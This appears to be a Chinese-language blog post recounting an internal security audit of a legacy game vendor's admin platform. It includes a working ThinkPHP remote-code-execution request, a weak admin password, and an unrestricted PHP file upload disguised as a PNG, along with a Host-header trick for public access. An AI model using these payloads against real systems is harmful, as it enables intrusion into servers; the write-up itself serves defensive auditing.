本文仅供技术研究,请勿用于非法用途。
最近终于腾出点时间,盘一盘公司某个游戏供应商的服务是否安全。虽然这服务本身不是我们内部开发的,但它的一部分业务却架设在我们的游戏集群之上。新接入的游戏在上线前都经过了安全检查,所以这次我特意挑了一个运行时间比较久的老游戏来审视。
这一看可不得了,着实吓了一大跳。

刚一打开游戏后台的管理服务平台,熟悉的界面就让我心头一紧——这是一个基于ThinkPHP搭建的站点。我心想,这都多少年前的漏洞了,怎么会出现在这里?抱着试一试的心态直接进行测试,结果发现居然一点拦截都没有,漏洞就这么原封不动地存在着。
以下是一次简单的漏洞验证请求与响应:
GET /dex.php?s=index/think/app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=pwd HTTP/1.1
Host: 1.1
Cookie:
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="128", "Not;A Brand";v="24", "Google Chrome";v="128"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "MacOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Connection: close
HTTP/1.1 200 OK
server: istio-envoy
content-type: application/json; charset=utf-8
Accept: Accept-Encoding
x-powered-by: PHP/7.0.33
access-control-allow-origin: *
x-envoy-upstream-service-time: 4
connection: close
Content-Length: 50
/data/
public
这个问题暂且按下不表,继续往下看。好家伙,又是一个典型的弱口令登录后台,用户名admin,密码admin123。

这UI界面,一看就是若依(RuoYi)框架。不过值得肯定的是,常用的公开漏洞在这里似乎都修复了,看来开发者还是下过一番功夫的。登录系统后,发现有一个“任务中心”模块。熟悉安全的朋友都知道,这类计划任务功能往往是命令执行的后门,这里就不展开描述了。

刚想为他们的修复工作点个赞,转身就随便找了个文件上传接口测试了一下。结果是,一点防御都没有,直接上传成功了一个PHP文件。
POST api/admin/baseComm/upload HTTP/1.1
Content-Length: 344
Sec-Ch-Ua: "Chromium";v="128", "Not-A.Brand";v="24", "Google Chrome";v="128"
Accept: application/json, text/plain, */*
Sec-Ch-Ua-Platform: "macOS"
Sec-Ch-Ua-Mobile: ?0
Authorization: 70
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Priority: u=1, i
Connection: close
----WebKitFormBoundarywhJCE92BnyAFEvbX
Content-Disposition: form-data; name="key"
8a2x.png
----WebKitFormBoundarywhJCE92BnyAFEvbX
Content-Disposition: form-data; name="file"; filename="8a2x.png"
Content-Type: text/plain
<?php phpinfo(); ?>
----WebKitFormBoundarywhJCE92BnyAFEvbX--
HTTP/1.1 200 OK
server: istio-envoy
connection: close
{ "code":1000, "data":"http://127.0.0.1:8199/d6k...y.php", "message":"成功" }
服务器还有点“小聪明”,返回的地址貌似是内网路径。我原本以为他们是做了内网外网分离,文件只能在内部访问,正准备再次夸奖他们的安全意识时,却发现直接修改请求的Host头,就能从公网访问到这个文件。

我当时的心情,大概只能用这张图来表达了:

经过这样一轮心惊肉跳的安全测试,我立刻向领导汇报了情况,建议紧急修复。然而更令人无语的是,这个游戏服务的供应商……已经找不到了。好在当时该游戏数据表现不佳,老板直接拍板决定将其下线,这才算解除了危机。

这次经历给我的教训非常深刻。无论服务是内部还是第三方提供,只要架设在我们的基础设施上,就必须纳入统一的安全管控和定期审计流程。老旧系统往往是安全的重灾区,定期进行渗透测试和安全自查至关重要。如果你也遇到了类似的安全困惑或想分享经验,欢迎来云栈社区的安全板块一起交流探讨。